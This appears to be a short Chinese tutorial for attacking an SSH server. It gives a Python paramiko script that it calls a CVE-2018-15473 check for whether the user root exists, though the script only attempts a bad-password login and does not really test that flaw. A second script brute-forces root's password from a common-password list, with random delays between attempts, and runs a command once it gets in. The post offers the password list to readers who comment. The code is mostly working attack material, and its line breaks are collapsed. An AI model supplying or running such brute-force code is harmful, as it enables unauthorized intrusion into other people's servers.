一.确认是否存在目标主机是否存在root用户

        重跑 CVE-2018-15473用户名枚举漏洞 检测：

python">import paramiko
from paramiko.ssh_exception import AuthenticationExceptiondef check_user(username, hostname, port):ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(hostname, port=port, username=username, password='invalid')except AuthenticationException as e:if 'Authentication failed.' in str(e):print(f"User {username} exists!")else:print(f"User {username} does not exist or connection error.")except Exception as e:print(f"Error: {e}")check_user('root', 'target_ip', 222)

这个基本都会显示存在。作者发现目标主机 上存在root用户。那么就可以进行下一步。

 二.爆破

python">import paramiko
import time
import random# 配置连接参数
host = 'target_ip'
port = 22
username = 'root'
file = open('ssh常用密码.txt', 'r')
passwords = file.readlines()def main():print('开始')client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())for password in passwords:try:random_sleep_time = random.uniform(0.01, 0.1)time.sleep(random_sleep_time)# 建立SSH连接client.connect(hostname=host,port=port,username=username,password=password,timeout=10)# 执行简单命令测试stdin, stdout, stderr = client.exec_command('ls -l')print("连接成功!")print("密码: ", password)print("用户名:", username)print("命令结果:")print(stdout.read().decode())except paramiko.AuthenticationException:passexcept paramiko.SSHException as e:print(f"SSH连接错误: {str(e)}")except Exception as e:print(f"错误: {str(e)}")finally:# 关闭连接client.close()if __name__ == '__main__':main()

评论区评论‘密码’，即可获得常用ssh密码字典。